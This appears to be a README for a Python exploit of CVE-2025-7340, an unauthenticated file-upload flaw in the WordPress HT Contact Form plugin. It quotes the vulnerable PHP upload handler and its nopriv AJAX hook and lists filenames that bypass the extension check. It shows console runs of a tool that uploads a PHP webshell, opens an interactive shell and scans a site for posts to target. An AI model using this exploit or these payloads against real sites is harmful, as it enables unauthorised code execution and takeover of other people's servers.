kai-one001/wordpress-ht-contact-cve-2025-7340-rcePython exploit for CVE-2025-7340, an unauthenticated file upload vulnerability in the WordPress HT Contact Form widget, enabling remote code execution via webshell deployment.
Vulnerability Location: ht-contactform/admin/Includes/Services/FileManager.php
Key Function: temp_file_upload()
temp_file_upload function# Line 63
public function temp_file_upload($file) {
$destination = "{$this->dir}/temp";
$this->maybe_create_directories($destination);
// Validate file
$validation = $this->validate($file);
if (!$validation['valid']) {
wp_send_json_error($validation['message']);
return;
}
// Process the file
$filename = $this->process_filename($file['name']);
$file_path = "{$destination}/$filename";
// Move file to temporary directory
if (move_uploaded_file($file['tmp_name'], $file_path)) {
wp_send_json_success([
'file_id' => $filename,
'file_name' => $file['name'],
'file_size' => $file['size']
]);
return;
}
}
AJAX handlingFile location: ht-contactform/admin/Includes/Ajax.php:
# Lines 46-47
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
Issue: The wp_ajax_nopriv_ hook is used, meaning unauthenticated users can also access the file upload functionality.
Root Cause Analysis:
validate function of FileManager.php, only PHP upload errors are checked; there is absolutely no validation of file type, extension, or MIME type.Fields.php, but only uses them for client-side validation (accept attribute) during form rendering; the server side never uses these configurations for verification.sanitize_file_name() mainly handles special characters and does not prevent dangerous extensions; an attacker can still upload files like .php, .php3, .phtml, etc.// Ajax.php lines 46-47
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
Issue Analysis:
Direct Attack: The attacker can directly send a POST request to /wp-admin/admin-ajax.php with the action ht_form_temp_file_upload
Bypassing Client-Side Validation: The frontend uses the accept attribute to restrict file types, but an attacker can easily bypass it
File Execution: The uploaded PHP file may be executed by the web server, leading to remote code execution
shell.php.jpg
shell.php.png
shell.php.gif
shell.PHP
shell.Php
shell.pHp
shell.php%00.jpg
Note that the URL is only viable if the plugin has published articles, so I added a script kiddie function 02
01 [Single Test] Example:
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/
Start trying.......
Fetching target page...
Extracting parameters...
Extracted Nonce: b05a39ff55
AJAX Endpoint: http://192.168.162.131:8081/wp-admin/admin-ajax.php
Form ID: 6
Generating webshell...
Uploading shell, please wait...
[+] Exploit successful!
Webshell address: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php
[+] Entering shell interactive mode, type 'exit' to exit!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
Exiting interactive mode
02 [Root Directory Test] Example:
python RCE.py -r http://192.168.162.131:8081
[*] Please enter the date (default 20250804):
[*] Date used: 20250804
[*] Scanning date: 2025-08-04
[*] Scan address: http://192.168.162.131:8081/2025/08/04/
[*] Found article 2: Test.0.1
[*] Found article 3: August 4, 2025
[*] Found article 6: Hello World!
[*] Found article 7: August 4, 2025
[*] Starting exploit...
[*] Exploiting: http://192.168.162.131:8081/2025/08/04/test-0-1/
Start trying.......
Fetching target page...
Extracting parameters...
Extracted Nonce: b05a39ff55
AJAX Endpoint: http://192.168.162.131:8081/wp-admin/admin-ajax.php
Form ID: 6
Generating webshell...
Uploading shell, please wait...
[+] Exploit successful!
Webshell address: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php
[+] Entering shell interactive mode, type 'exit' to exit!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
Exiting interactive mode